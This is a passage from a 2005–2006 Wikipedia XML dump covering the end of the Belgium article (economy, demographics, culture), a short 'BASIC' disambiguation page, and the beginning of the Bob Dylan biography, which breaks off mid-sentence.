Belgium was the first continental European country to undergo the [[Industrial Revolution]], in the early 1800s. [[Liège (city) |Liège]] and [[Charleroi]] rapidly developed mining and steelmaking, which flourished until the mid-20th century. However, by the 1840s the textile industry of Flanders was in severe crisis and there was famine in Flanders (1846&amp;ndash;50).  After World War II, [[Ghent]] and [[Antwerp]] experienced a fast expansion of the [[chemical]] and [[petroleum]] industries. The [[1973 oil crisis|1973]] and [[1979 oil crisis|1979 oil crises]] sent the economy into a prolonged recession. The Belgian steel industry has since experienced serious decline. This has been responsible for inhibiting the economic development of [[Wallonia]].{{ref|state_dpt}} In the 1980s and 90s, the economic centre of the country continued to shift northwards to Flanders. Nowadays, industry is concentrated in the populous Flemish area in the north. 

By the end of the 1980s, Belgian macroeconomic policies had resulted in a cumulative government debt of about 120% of [[GDP]]. Currently, although the government has recently succeeded in balancing its budget, public debt is nearly 100% of GDP.{{ref|state_dpt}} In 2004, the real growth rate of GDP was estimated at 2.7% {{ref|nationalBank}} but is expected to fall to 1.3% in 2005.{{ref|economist}} 

Belgium has a particularly [[open economy]]. It has developed an excellent [[transportation in Belgium|transportation infrastructure]] of ports, canals, [[Rail transport in Belgium|railways]] and highways to integrate its industry with that of its neighbours. Antwerp is the second-largest European port. One of the founding members of the European Union, Belgium strongly supports the extension of the powers of EU institutions to integrate the member economies. In 1999, Belgium adopted the [[euro]], the single European currency, which replaced the [[Belgian franc]] in 2002. The Belgian economy is strongly oriented towards foreign trade, in particular of high value-added goods. The main imports are food products, machinery, rough diamonds, petroleum and petroleum products, chemicals, clothing and accessories, and textiles. The main exports are automobiles, food and food products, iron and steel, finished diamonds, textiles, plastics, petroleum products, and nonferrous metals. Since 1922, Belgium and [[Luxembourg]] have been a single trade market within a [[customs union |customs]] and [[currency union]]—the [[Belgium-Luxembourg Economic Union]]. Its main trading partners are Germany, the Netherlands, France, the United Kingdom, Italy, the United States and Spain. Belgium ranks ninth on the 2005 [[United Nations]] [[Human Development Index]].

==Demographics==
{{main|Demographics of Belgium}}
The [[population density]] (342 per km&amp;sup2; or 886 per sq.&amp;nbsp;mi) is one of the highest in Europe, after the Netherlands and some smaller countries such as [[Monaco]]. The areas with the highest population density are around the Brussels-Antwerp-Ghent-[[Leuven]] agglomerations, also known as the [[Flemish Diamond]], as well as other important urban centres as Liège, [[Charleroi]], [[Kortrijk]], [[Bruges]], [[Hasselt]] and [[Namur (city) | Namur]]. The Ardennes have the lowest density. As of 2005, the Flemish Region has a population of about 6,043,161, Wallonia 3,395,942 and Brussels 1,006,749.{{ref|statbel}} Almost all of the population is urban (97.3% in 1999{{ref|undp}}). The main cities and their populations are Brussels (1,006,749), Antwerp (457,749), Ghent (230,951), Charleroi (201,373), and Liège (185,574).{{ref|statbel}}

[[Image:Basilica of the Sacred Heart in Belgium.jpg|thumb|right|250px|[[Basilica of the Sacred Heart, Belgium | Basilica of the Sacred Heart]], [[Brussels]]. The basilica is the National Basilica of Belgium. It stands as a symbol of the historical link between the [[List of Belgian monarchs |Belgian monarchy]] and the Catholic Church.]]
About 60% of the country is Dutch-speaking, 40% French-speaking, and 1% German-speaking. Brussels is officially French-Dutch bilingual, but mostly French speaking; it evolved from a Dutch-speaking place to its current dominantly French character when the Belgian state became independent in 1830, with at that time only French as an official language (although the majority of the people spoke Dutch).

Both the [[Dutch language|Dutch]] spoken in Belgium and the [[Belgian French]] have minor differences in [[vocabulary]] and [[semantic]] nuances from the varieties spoken in France and the Netherlands. Many people can still speak [[dialects]] of [[Flemish (linguistics)|Flemish]] and [[Walloon language|Walloon]]. These dialects, along with some other ones like [[Picard language |Picard]] or [[Limburgish]],{{ref|ethnologue}} are not used in public life.

The ''[[laicite|laïque]]'' constitution provides for freedom of religion, and the government generally respects this right in practice. According to the ''2001 Survey and Study of Religion'',{{ref|religion}} about 47% of the population identify themselves as belonging to the Catholic Church. According to these figures, the Muslim population is the second largest religious community, at 3.5% (see [[Religion in Belgium]]). Since independence, Catholicism, counterbalanced by strong [[freethought]] and especially [[freemason]] movements, has had an important role in Belgium's politics, in particular via the Christian trade union ([[CSC/ACV]]) and the Christian Democrat parties ([[CD&amp;V]], [[CDH]]).

The vast majority of Belgians are [[Flemings|Flemish]] and [[Walloon]]. Together, they constitute a little over 85%. There are many other European populations who constitute a large and growing fraction like [[Italy|Italian]], [[France|French]], and [[Germany|German]] (majorities) who number 11.1%. Arab immigrants, mostly from [[Morocco]] and [[Algeria]], and [[Turkey|Turkish]] immigrants number over 3% of the total population.

98% of the adult population is [[literate]].{{ref|ethnologue}} Education is compulsory from the ages of six to 18, but many Belgians continue to study until the age of about 23. Among the [[OECD]] countries in 1999, Belgium had the third highest proportion of 18&amp;ndash;21-year-olds enrolled in [[postsecondary education]], at 42%.{{ref|edu}} Nevertheless, in recent years, concern is rising over certain forms of [[illiteracy]], such as [[functional illiteracy]]. In the period 1994&amp;ndash;98, 18.4% of the population lacks functional literacy skills.{{ref|undp}}  Mirroring the historical political conflicts between the freethought and Catholic segments of the population, the Belgian educational system in each communities is split into a ''[[laicite|laïque]]'' branch controlled by the communities, the provinces, or the municipalities, and a [[subsidy|subsidised]] religious—mostly Catholic—branch controlled by both the communities and the religious authorities—usually the [[diocese]]s. It should however be noted that - at least for the Catholic schools - the religious authorities have very limited power over these schools.

==Culture==
{{main|Culture of Belgium}}
Belgian cultural life has tended to concentrate within each community. The shared element is less important, because there are no bilingual universities, except the royal military academy, no common media, and no single, common large cultural or scientific organisation where both main communities are represented. Aside from these differences, Belgium is well-known for its fine art and architecture.

The region corresponding to today's Belgium has seen the flourishing of major artistic movements that have had tremendous influence over European art.  The [[Mosan art]], the [[Early Netherlandish painting|Early Netherlandish]], the Flemish [[Renaissance]] and [[Baroque]] painting, and major examples of [[Romanesque architecture|Romanesque]], [[Gothic architecture|Gothic]], [[Renaissance architecture |Renaissance]] and [[Baroque architecture]], and the Renaissance [[vocal music]] of the [[Dutch School (music) |Dutch School]] developed in the southern part of the Low Countries, are milestones in the history of art.  

[[Image:Entry_in.jpg|thumb|right|250px|The Entry of Christ into Brussels, [[James Ensor]], 1888, [[Malibu]]. This painting is inspired by the many folk festivals in Belgium.]]
This rich artistic production, often referred to as a whole as [[Flemish art]], gradually declined during the second half of the 17th century.  However, in the 19th and 20th centuries, many original artists appeared. In music, [[Adolphe Sax]] invented the [[saxophone]] in 1846. [[Eugène Ysaÿe]] was a major 19th- and 20th-century Belgian violinist (See also [[Music of Belgium]]). In architecture, [[Victor Horta]] was a major initiator of the [[Art Nouveau]] style. Belgium has produced famous [[romanticism |romantic]], [[expressionism |expressionist]] and [[surrealism |surrealist]] painters; these include [[Egide Charles Gustave Wappers |Egide Wappers]], [[James Ensor]], [[Constant Permeke]] and [[René Magritte]]. In literature, Belgium has produced several well-known authors, such as the poets [[Emile Verhaeren]], [[Jacques Brel]] and novelists [[Hendrik Conscience]] and [[Georges Simenon]]. The poet and playwright [[Maurice Maeterlinck]] won the [[Nobel Prize in literature]] in 1911. The best known [[Franco-Belgian comics]] are ''[[The Adventures of Tintin]]'' by [[Hergé]] but many other major authors of comics have been Belgian, including [[Edgar P. Jacobs]] and [[André Franquin]]. 

More recently, notable cinema directors have emerged, most of them strongly influenced by [[French cinema]]. The absence of a major Belgian cinema company has forced them to emigrate or participate in low-budget productions. Belgian directors include [[Stijn Coninx]], [[Luc Dardenne | Luc]] and [[Jean-Pierre Dardenne]]; actors include [[Jan Decleir]], [[Marie Gillain]]; and films include ''[[Man Bites Dog]]'' and ''[[The Alzheimer Affair]]''. In the 1980s, Antwerp's [[Royal Academy of Fine Arts]] has produced the important fashion trendsetters, the [[Antwerp Six]].

Belgium has also contributed to the development of science and technology.  The [[mathematics |mathematician]]  [[Simon Stevin]], the [[anatomy |anatomist]] [[Andreas Vesalius]] and the [[cartography |cartographer]] [[Gerardus Mercator]] are among the most influential scientists from the beginning of [[Early Modern]] in the Low Countries.  More recently, at the end of the 19th century, in [[applied science]], the [[chemist]] [[Ernest Solvay]] and the [[engineering |engineer]] [[Zenobe Gramme]] have given their names to the [[Solvay process]] and the [[Gramme dynamo]]. [[Georges Lemaître]] is a famous Belgian [[cosmology |cosmologist]] credited with proposing the [[Big Bang]] theory of the origin of the universe in 1927. Three [[Nobel Prize in Physiology or Medicine |Nobel Prizes in Physiology or Medicine]] have been awarded to Belgians: [[Jules Bordet]] in 1919, [[Corneille Heymans]] in 1938, and [[Albert Claude]] and [[Christian De Duve]] in 1974.  [[Ilya Prigogine]] was awarded the [[Nobel Prize in Chemistry]] in 1977. 

On [[December 1]], [[2005]], [[Father Damien]] was chosen as the Greatest Belgian of all time by the Flemish [[VRT]], whereas the [[Walloons]] chose [[Jacques Brel]].

One could not understand Belgian cultural life without considering the folk festivals, which play a major role in the country's cultural life.  Examples are the Carnival of [[Binche]], the Ducasse of [[Ath]], the procession of the Holy Blood in Bruges, the 15th-of-August festival in Liège, and the Walloon festival in Namur. A major non-official holiday is the [[Saint Nicholas Day]], which commemorates the festival of the children and, in Liège, of the students.

Belgium is well represented in the world of sport—[[football (soccer)]] and [[cycling]] are especially popular. The [[Belgium national football team|national football team]] is the [[Red Devils]]. Among the well known cyclists, [[Eddy Merckx]], won five [[Tour de France|Tours de France]]. Belgium also has two current female tennis champions: [[Kim Clijsters]] and [[Justine Henin-Hardenne]].

Many highly ranked restaurants can be found in the high-impact gastronomic guides, such as the [[Michelin Guide]]. Brands of Belgian chocolate, like [[Chocolatier Neuhaus|Neuhaus]], are world renowned and widely sold; even the cheapest and most popular brand, [[Leonidas (chocolate maker)|Leonidas]], has earned a reputation for its quality. Belgium produces over 500 varieties of beer ([[ale]]s, [[pils]]) (see [[Belgian beer]]). Belgians have a reputation for loving [[Belgian waffle|waffles]] and [[French fries]] aka Belgian chips, both originally from Belgium; the national food is steak (or mussels) with French fries.

==See also==
{{sisterlinks|Belgium}}
* [[Communications in Belgium]]
* [[Education in Belgium]]
* [[Football in Belgium]]
* [[Foreign relations of Belgium]]
* [[List of Belgian municipalities by population]]
* [[List of Belgians]]
* [[List of Belgium-related topics]]
* [[Military of Belgium]]
* [[Public holidays in Belgium]]
* [[Tourism in Belgium]]
* [[Transportation in Belgium]]

==External links==
*[http://www.Belgium.be/ Official site of the Belgian federal government]
*[http://www.belgiumtheplaceto.be/ Official site of Belgian tourist office]
*[http://www.goldenpages.be/ Telephone directory online]
*[http://www.mediatico.com/en/newspapers/europe/belgium Belgian Newspapers]
* {{wikitravel}}
*[http://www.175-25.be/ Belgium is celebrating the 175th anniversary of its independence and the 25th anniversary of the federal state]
* [http://www.bruessel-gui.de/bruessel/bildergalerien.html bruessel-gui.de - Images: Brussels &amp; Belgium]

==References==
*[http://www.zum.de/whkmla/region/lowcountries/xbelgium.html World history at KLMA]
*[http://www.tlfq.ulaval.ca/axl/europe/belgiqueacc.htm L'aménagement linguistique dans le monde] in French by Jacques Leclerc, [[University of Laval]], [[Canada]]
*[http://statbel.fgov.be/port/cou_eu_en.asp#BE Portal of the INS to statistical publications about Belgium]
*[http://www.cia.gov/cia/publications/factbook/geos/be.html CIA World Fact Book]
*[http://www.fed-parl.be/constitution_uk.html Constitution of Belgium]

==Notes==
&lt;div style=&quot;font-size: 85%&quot;&gt;
1.{{note|nuttall}} [[Nuttall encyclopedia]]&lt;/br&gt;
2.{{note|language_BBC}} [http://news.bbc.co.uk/1/hi/world/europe/4545433.stm Language dispute divides Belgium, BBC News, 13 May, 2005]&lt;/br&gt;
3.{{note|turnout}} [[Voter turnout |Election turnout]] in national lower house elections from 1960 to 1995, numbers from Mark N. Franklin's &quot;Electoral Participation.&quot;&lt;/br&gt;
4.{{note|minister}} [http://www.fed-parl.be/gwuk0006.htm#E11E6 Constitution of Belgium] Art. 99&lt;/br&gt;
5.{{note|rainbow_BBC}} [http://news.bbc.co.uk/1/hi/world/europe/392004.stm Belgium's &quot;rainbow&quot; coalition sworn in, BBC News, 12 July, 1999]&lt;/br&gt;
6.{{note|chambre}} [http://www.lachambre.be/kvvcr/pdf_sections/pri/fiche/10F.pdf Composition of the Chamber of Representatives, on the official homepage of the Chamber, in French]&lt;/br&gt;
7.{{note|VB_expa}}[http://jackosheas.com/news/newsstory.cfm?story_no=1124 Court says Vlaams Blok conviction is sound, Expatriate Online, 10 November, 2004] &lt;/br&gt;
8.{{note|VB_BBC}}[http://news.bbc.co.uk/1/hi/world/europe/3994867.stm Court rules Vlaams Blok is racist, BBC News, 9 November, 2004] &lt;/br&gt; 
9.{{note|dioxin}}[http://www.wsws.org/articles/1999/jun1999/belg-j08.shtml Dioxin contamination scandal hits Belgium: Effects spread through European Union and beyond, World Socialist Web Site, 8 June, 1999]&lt;/br&gt;
10.{{note|food}}[http://www.favv-afsca.fgov.be/portal/page?_pageid=34,66751&amp;_dad=portal&amp;_schema=PORTAL History of the Federal Food Agency, at its official homepage]&lt;/br&gt;
11.{{note|rwanda}}[http://www.tiscali.co.uk/reference/encyclopaedia/hutchinson/m0019846.html The Rwanda article at Tiscali.References] shows an example of Belgium's recent African policies.&lt;/br&gt;
12.{{note|flanders}}[http://www.flanders.be/ The official homepage of Flanders (Community and Region)]&lt;/br&gt;
13.{{note|meteo}}[http://www.eurometeo.com/english/climate/city_EBBR/id_GT/meteo_brussels_belgium Eurometeo: The meteo at Brussels]&lt;/br&gt;
14-15.{{note|state_dpt}}[http://www.state.gov/r/pa/ei/bgn/2874.htm US Department of State's report]&lt;/br&gt;
16.{{note|nationalBank}}[http://www.nbb.be/pub/Home.htm?l=en&amp;t=ho National Bank of Belgium]&lt;/br&gt;
17.{{note|economist}}[http://www.economist.com/countries/Belgium/profile.cfm?folder=Profile-Forecast Economic forecast of the Economist, 30 September, 2005]&lt;/br&gt;
18,20.{{note|statbel}}[http://statbel.fgov.be/ Official statistics of Belgium]&lt;/br&gt;
19,24.{{note|undp}}[http://www.undp.org/hdr2001/indicator/cty_f_BEL.html United Nation Development Programme]&lt;/br&gt;
21-22.{{note|ethnologue}}[http://www.ethnologue.com/show_country.asp?name=BE Ethnologue.com] published by [[SIL International]]&lt;/br&gt;
23.{{note|edu}}[http://nces.ed.gov/programs/digest/d03/ch_6.asp Digest of Education Satistics 2003, US National Education Statistics]&lt;/br&gt;
25.{{note|religion}}[http://www.state.gov/g/drl/rls/irf/2004/35444.htm International Religious Freedom Report 2004 at the US Department of State]
&lt;/div&gt;
{{EU countries}}
{{Europe}}
&lt;!-- The below are interlanguage links. --&gt;

[[Category:Belgium| ]]

[[af:België]]
[[als:Belgien]]
[[ang:Belgium]]
[[ar:بلجيكا]]
[[an:Belchica]]
[[ast:Bélxica]]
[[bg:Белгия]]
[[zh-min-nan:Belgien]]
[[be:Бэльгія]]
[[bn:বেলজিয়াম]]
[[bs:Belgija]]
[[ca:Bèlgica]]
[[cv:Бельги]]
[[cs:Belgie]]
[[cy:Gwlad Belg]]
[[da:Belgien]]
[[de:Belgien]]
[[et:Belgia]]
[[el:Βέλγιο]]
[[es:Bélgica]]
[[eo:Belgio]]
[[eu:Belgika]]
[[fr:Belgique]]
[[fy:Belgje]]
[[fur:Belgjiche]]
[[ga:An Bheilg]]
[[gd:A' Bheilg]]
[[gl:Bélxica - België]]
[[ko:벨기에]]
[[ht:Bèljik]]
[[hr:Belgija]]
[[io:Belgia]]
[[id:Belgia]]
[[ia:Belgica]]
[[is:Belgía]]
[[it:Belgio]]
[[he:בלגיה]]
[[ka:ბელგია]]
[[kw:Pow Belg]]
[[ku:Belçîka]]
[[la:Belgia]]
[[lv:Beļģija]]
[[lt:Belgija]]
[[lb:Belsch]]
[[li:Belsj]]
[[hu:Belgium]]
[[mk:Белгија]]
[[mr:बेल्जियम]]
[[ms:Belgium]]
[[mn:Belgium]]
[[na:Belgium]]
[[nl:België]]
[[nds:Belgien]]
[[ja:ベルギー]]
[[no:Belgia]]
[[nn:Belgia]]
[[oc:Belgica]]
[[os:Бельги]]
[[pl:Belgia]]
[[pt:Bélgica]]
[[ro:Belgia]]
[[rm:Belgia]]
[[ru:Бельгия]]
[[se:Belgia]]
[[sa:बेल्जियम]]
[[sq:Belgjika]]
[[simple:Belgium]]
[[sk:Belgicko]]
[[sl:Belgija]]
[[sr:Белгија]]
[[fi:Belgia]]
[[sv:Belgien]]
[[tl:Belhika]]
[[th:ประเทศเบลเยียม]]
[[vi:Bỉ]]
[[tr:Belçika]]
[[uk:Бельгія]]
[[wa:Beldjike]]
[[zh:比利时]]
[[fiu-vro:Belgiä]]</text>
    </revision>
  </page>
  <page>
    <title>BASIC</title>
    <id>3344</id>
    <revision>
      <id>26175300</id>
      <timestamp>2005-10-22T10:32:01Z</timestamp>
      <contributor>
        <username>Enochlau</username>
        <id>36424</id>
      </contributor>
      <minor />
      <comment>format</comment>
      <text xml:space="preserve">'''BASIC''' can refer to:
* [[BASIC programming language]]
* [[British American Security Information Council]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Bob Dylan</title>
    <id>3345</id>
    <revision>
      <id>42118151</id>
      <timestamp>2006-03-03T23:07:45Z</timestamp>
      <contributor>
        <username>Lion King</username>
        <id>484194</id>
      </contributor>
      <comment>Reinserted Dylan's legal name</comment>
      <text xml:space="preserve">{{Infobox_band
| band_name         = Bob Dylan 
| image             = [[Image:Bob Dylan by Daniel Kramer.jpg|200px]]
| caption           = Portrait photograph by Daniel Kramer
| years_active      = 1959&amp;mdash;present
| origin            = [[Hibbing, Minnesota]]
| music_genre       = [[Folk music]], [[Rock (music)|Rock]], [[Country music|Country]]
| record_label      = [[Columbia Records|Columbia]]
}}

'''Bob Dylan''' (born '''Robert Allen Zimmerman''' on [[May 24]], [[1941]]) is an [[United States|American]] [[singer-songwriter]], [[musician]] and [[poet]] whose enduring contributions to American song are comparable, in fame and influence, to those of [[Stephen Foster]], [[Irving Berlin]], [[Woody Guthrie]], and [[Hank Williams]].

Much of Dylan's best known work is from the 1960s, when he became an informal documentarian and reluctant figurehead of American unrest. Many involved in the [[anti-war]] and [[American Civil Rights Movement (1955-1968)|civil rights movements]] found an anthem in his song &quot;[[Blowin' in the Wind]]&quot;. He remains an influential and popular artist; his last album, [[&quot;Love and Theft&quot;]], reached #5 on the charts in the US and #3 in Britain despite being released on [[September 11, 2001]].

Dylan's lyrics incorporated [[politics]], [[social commentary]], [[philosophy]] and [[literature|literary]] influences, defying existing pop music conventions and appealing widely to the counterculture of the time.  While expanding and personalizing musical styles, Dylan has shown steadfast devotion to traditions of American song, from [[folk music|folk]] and [[country music|country]]/[[blues]] to [[rock 'n' roll]] and [[rockabilly]], to [[Celtic music|Gaelic]] balladry, even [[jazz]], [[swing]] and [[Broadway theatre|Broadway]].

Dylan plays the [[guitar]], [[keyboard]] and [[harmonica]]. Backed by a changing lineup of musicians, he has toured steadily since the late 1980s. 

==Musical career and personal life==
===Beginnings===
[[Image:BobDylanHSPhoto.jpg|thumb|Robert Zimmerman (a.k.a Bob Dylan) in high school]]
Bob Dylan was born in [[Duluth, Minnesota]] and raised in [[Hibbing, Minnesota]], on the extreme western shore of [[Lake Superior]].  His grandparents were [[Jewish]] emigrants from [[Lithuania]], [[Russia]] and [[Ukraine]], and his parents, Abraham Zimmerman and Beatrice Stone (Beatty), were part of the area's small but close-knit Jewish community.  He lived in Duluth until age seven, when his father was stricken with [[polio]].  The family returned to nearby [[Hibbing, Minnesota|Hibbing]], Beatty's hometown, where Robert Zimmerman spent the rest of his childhood.  

Zimmerman spent much of his youth listening to the radio, first to the powerful [[blues]] and [[country music]] stations broadcasting from [[New Orleans, Louisiana|New Orleans]] and, later, early [[rock and roll]]. He made his earliest known recordings on Christmas Eve 1956, with two friends in a department store booth, singing verses of songs by [[Carl Perkins]], [[Little Richard]], [[Lloyd Price]], [[The Penguins]] and others. He formed several bands while in high school; the first, The Shadow Blasters, was short-lived, but the second, the Golden Chords, proved more durable. They played covers and the Zimmerman-penned tune &quot;Little Richard&quot; at their high-school talent show. In 1959 he toured briefly under the name of Elston Gunnn with [[Bobby Vee]], playing piano and supplying handclaps.

An able but not outstanding student, Zimmerman enrolled at the [[University of Minnesota]] in 1959 and moved to [[Minneapolis, Minnesota|Minneapolis]]. His musical focus on [[rock and roll]] gave way to an interest in subtler, Gaelic-inflected American folk music, typically performed with an acoustic guitar. He soon became actively involved in the local [[Dinkytown, USA|Dinkytown]] [[folk music]] circuit, fraternizing with local folk enthusiasts and occasionally &quot;borrowing&quot; many of their albums. During his Dinkytown days Zimmerman began introducing himself as &quot;Bob Dylan&quot; (or Dillon). In his autobiography &quot;Chronicles&quot; (2005) Dylan writes: &quot;What I was going to do as soon as I
left home was just call myself Robert Allen...It sounded like a Scottish king and I liked it.&quot; However he discovered by reading Downbeat magazine that there was already a saxophone player called David Allyn. Dylan explains that he liked the way Allyn has changed the spelling of his last name to appear more exotic. A little later he came across [[Dylan Thomas]] and then made a choice between Robert Allyn and Robert Dylan: &quot;I couldn't decide - the letter D came on stronger&quot; he explained. He decided on &quot;Bob&quot; as there were several Bobbys in popular music at the time (Bobby Vee, Bobby Vinton, Bobby Rydell). 
 
Dylan quit college at the end of his freshman year but stayed in Minneapolis, working the folk circuit there with temporary sojourns in [[Denver, Colorado]], and [[Chicago, Illinois]]. In January 1961, en route to Minneapolis from Chicago, he changed course and went to [[New York City]] to perform and to visit his ailing musical idol [[Woody Guthrie]] in a [[New Jersey]] hospital. Initially playing mostly in small &quot;basket&quot; clubs for little pay, he gained some public recognition after a review [http://www.bobdylanroots.com/shelton.html] in the ''[[New York Times]]'' by critic [[Robert Shelton]], while [[John Hammond]], a legendary music business figure, signed him to [[Columbia Records]] that September.

At the time his voice, musicianship and songwriting were still raw. His performances, like his first Columbia album ([[1962 in music|1962]]'s ''[[Bob Dylan (album)|Bob Dylan]]''), consisted of familiar folk, blues and gospel material seasoned with a few of his own songs.  As he continued to record for Columbia, he also recorded more than a dozen songs for [[Broadside Magazine]] (a folk music magazine and record label), under the pseudonym Blind Boy Grunt. In [[August]] [[1962]], Robert Allen Zimmerman went to the [[Supreme Court]] building in New York, and changed his name to Robert Dylan. By the time his next record, ''[[The Freewheelin' Bob Dylan]]'', was released in [[1963 in music|1963]] he had begun to make his name as both a singer and songwriter, specializing in [[protest song]]s, inspired partly by [[Joe Hill]] and initially in the style of Guthrie but soon practically developing his own genre.

His most famous songs of the time are typified by &quot;[[Blowin' In The Wind]]&quot;, its melody partially derived from the traditional slave song &quot;No More Auction Block&quot;, coupled with Dylan's original lyrics challenging the social and political status quo. &quot;Blowin' In The Wind&quot; itself was widely recorded and was an international hit for [[Peter, Paul and Mary]], setting an enduring precedent for other artists. While Dylan's topical songs solidified his early reputation, somewhat overlooked among them on ''Freewheelin''' was a mixture of finely crafted bittersweet love songs (&quot;Don't Think Twice, It's Alright&quot;, &quot;Girl From the North Country&quot;) and jokey, frequently surreal talking blues (&quot;[[Talking World War III Blues]]&quot;, &quot;I Shall Be Free&quot;). Humor was a large part of Bob Dylan's persona.

The ''Freewheelin''' song &quot;[[A Hard Rain's A-Gonna Fall]]&quot;, built melodically from a loose adaptation of the stanza tune of the folk [[ballad]] [[Lord Randall]], with its veiled references to [[nuclear warfare|nuclear]] [[apocalypse]], gained even more resonance as the [[Cuban Missile Crisis|Cuban missile crisis]] developed only a few weeks after Dylan began performing it.  Soon after the release of ''Freewheelin'' Dylan emerged as a dominant figure of the so-called &quot;new folk movement&quot; headquartered in Lower Manhattan's [[Greenwich Village]]. [[The Beatles]], amongst others, listened to this album and 1964's ''[[The Times They Are A-Changin']]'' repeatedly and realized that entire albums of boy-meets-girl songs were now, at one blow, outmoded.
[[Image:Joan Baez Bob Dylan.jpg|thumb|With [[Joan Baez]] during the Civil Rights March on [[Washington D.C.]], 1963]]
While undeniably a fine interpreter of traditional songs, Dylan's singing voice was unusual and untrained and his phrasing as a vocalist was eccentric. He sang his songs with an arrogance and aggression that was anathema to the music industry of the time. Many of his most famous early songs first reached the public through versions by other performing musicians who were more immediately palatable. [[Joan Baez]], regarded at the time as the reigning queen of folk, became Dylan's advocate as well as his lover. In addition to jumpstarting Dylan's performance career by inviting him onstage during her concerts, she chose to record several of his early songs. Given her considerable fame at the time, her recordings of Dylan's songs were influential in bringing Dylan to national and international prominence.

Others who recorded and released his songs around this time included [[The Byrds]], [[Sonny and Cher]], [[The Hollies]], [[Manfred Mann]], [[The Brothers Four]], [[Judy Collins]] and [[Herman's Hermits]], most attempting to impart more of a pop feel and rhythm to the songs where Dylan and Baez performed them mostly as sparse folk pieces keying rhythmically off the vocals. So ubiquitous were these covers by the mid-1960s that [[CBS]] started to promote him with the tag: &quot;Nobody Sings Dylan Like Dylan&quot;. Paradoxically, many new artists sprang up at this time with singing styles suspiciously similar to Dylan's, typically using his inflections and tone while dispensing with the &quot;mumbly&quot; and gruff qualities (see [[Donovan| Donovan Leitch]]).

===Protest and another side===
By [[1963 in music|1963]], Dylan was becoming increasingly prominent in the [[civil rights]] movement, singing at rallies including the [[March on Washington for Jobs and Freedom|March on Washington]] where [[Martin Luther King, Jr.]] gave his &quot;[[I have a dream]]&quot; speech. In January, he appeared on [[British television]] in the [[BBC]] play '' [[Madhouse on Castle Street]]'', featuring as a [[Greek chorus]]-type figure. Dylan's next album, ''[[The Times They Are A-Changin']],'' reflected a more sophisticated, politicized and cynical Dylan. This bleak material, concerned with such subjects as the murder of civil rights worker [[Medgar Evers]] and the despair engendered by the breakdown of farming and mining communities (&quot;Ballad of Hollis Brown&quot;, &quot;North Country Blues&quot;), was tempered by two enduring love songs, &quot;Boots of Spanish Leather&quot; and &quot;One Too Many Mornings&quot;, and the epic renunciation of &quot;Restless Farewell&quot;. The [[Bertolt Brecht|Brechtian]]-influenced &quot;[[The Lonesome Death of Hattie Carroll]]&quot;, a highlight of the album,  describes a young socialite's killing of a hotel maid.  Never explicitly mentioning race, the song leaves no doubt that the killer is white, the victim black.

As a sign of the political influence of Dylan's lyrics, in 1969 the militant [[Weatherman (organization)|Weatherman]] radical group took their name from a line in &quot;[[Subterranean Homesick Blues]]&quot; (&quot;You don't need a weatherman to know which way the wind blows&quot;).

By the end of 1963, however, Dylan felt both manipulated and constrained by the folk-protest movement. Accepting the &quot;[[Thomas Paine|Tom Paine]] Award&quot; from the [[National Emergency Civil Liberties Committee]] at a ceremony shortly after the assassination of [[John F. Kennedy]], a drunken, rambling Dylan questioned the role of the committee, insulted its members as old and balding, and claimed to see something of himself (and of every man) in assassin [[Lee Harvey Oswald]].

Perhaps inevitably then, his next album, the accurately but prosaically titled ''[[Another Side Of Bob Dylan]]'', recorded on a single June evening in [[1964 in music|1964]], had a lighter mood than its predecessor. The surreal Dylan reemerged on &quot;I Shall Be Free #10&quot; and &quot;Motorpsycho Nightmare&quot; employing a sense of humor which would persist throughout his career. &quot;Spanish Harlem Incident&quot; and &quot;To Ramona&quot; were touching love songs, &quot;I Don't Believe You&quot;, a prototypical rock and roll song played on acoustic guitar, and &quot;It Ain't Me Babe&quot;, a romping rejection of the role his reputation thrust at him. His newest direction was signaled by three songs: &quot;[[Chimes of Freedom]]&quot;, long and [[impressionism|impressionistic]], sets elements of social commentary against a denser metaphorical landscape in a style later characterized by [[Allen Ginsberg]] as &quot;chains of flashing images&quot;;  &quot;[[My Back Pages]]&quot; even more personally attacks the simplistic and arch seriousness of his own earlier topical songs; and a musically undeveloped &quot;Mr. Tambourine Man&quot;, written before many songs included on ''Another Side'' but held back for Dylan's next release. 

In the early 1960s, Dylan had adopted a sort of [[Huckleberry Finn]] persona and told picaresque tales of knocking around, hopping freights, and working at folksy jobs.  In that bohemian phase, lasting a few years, he sang and wrote somewhat like the Woody Guthrie of 25 or 30 years earlier.  However, as he “brought it all back home” (Dylan’s point of view as a writer became at once more thoroughly contemporary and more surrealistic, and probably more honest. 

Throughout this time Dylan's artistic development moved so fast that he frequently left both critics and fans behind. His March [[1965 in music|1965]] album ''[[Bringing It All Back Home]]'' was a further stylistic leap.  Influenced by [[The Beatles]] (whose artistic development had already been enhanced by Dylan's influence) and the rock and roll of his youth, the first side contained his first significant original up-tempo rock songs. Lyrically, however, the songs were pure Dylan, exhibiting his dry wit and inhabited by a sequence of grotesque, metaphorical characters. The raucous first single, &quot;[[Subterranean Homesick Blues]]&quot;, owed much to [[Chuck Berry]]'s &quot;Too Much Monkey Business&quot; and was provided with an early [[music video]] courtesy of [[D. A. Pennebaker]]'s [[cinéma vérité]] presentation of Dylan's 1965 tour, ''[[Dont Look Back]]''. Its lyrics drew references in large from the beat poetry of the time, its name possibly refering to [[The Subterraneans]]. 

Side 2 of the album was a different matter, including four lengthy acoustic songs whose undogmatic political, social and personal concerns are illuminated with the rich poetic imagery that would become another trademark. One of these songs, &quot;[[Mr. Tambourine Man]]&quot; had already been a hit for The Byrds, albeit in a truncated form, and would remain one of Dylan's most enduring compositions, while &quot;Gates Of Eden&quot;, &quot;It's All Over Now Baby Blue&quot;, and &quot;It's Alright Ma (I'm Only Bleeding)&quot; have justifiably been fixtures in Dylan's live performances for most of his career.

That summer, Bob Dylan stoked the drama of his legacy by performing his first electric set (since his high school days) with a pickup group drawn mostly from the [[Paul Butterfield Blues Band]] at the [[Newport Folk Festival]].  Dylan had appeared at Newport twice before in 1963 and 1964. Two wildly divergent accounts of the crowd's response in 1965 survive to this day.  The settled fact is that Dylan, met with a mix of cheering and booing, left the stage after only three songs.  As one version of the legend has it, the boos were from the outraged folk fans Dylan alienated with his electric guitar.  An alternative account has it that audience members were upset by poor sound quality and a surprisingly short set.  Whatever sparked the crowd's disfavor, Dylan soon reemerged and sang two much better received solo acoustic numbers, &quot;It's All Over Now, Baby Blue&quot; and &quot;Mr. Tambourine Man.&quot;  Nevertheless, the import of the appearance at Newport worked its way into the awareness of this restless generation: thoughtful acoustic music was no longer enough even for tradition-aware singers like Dylan; times were 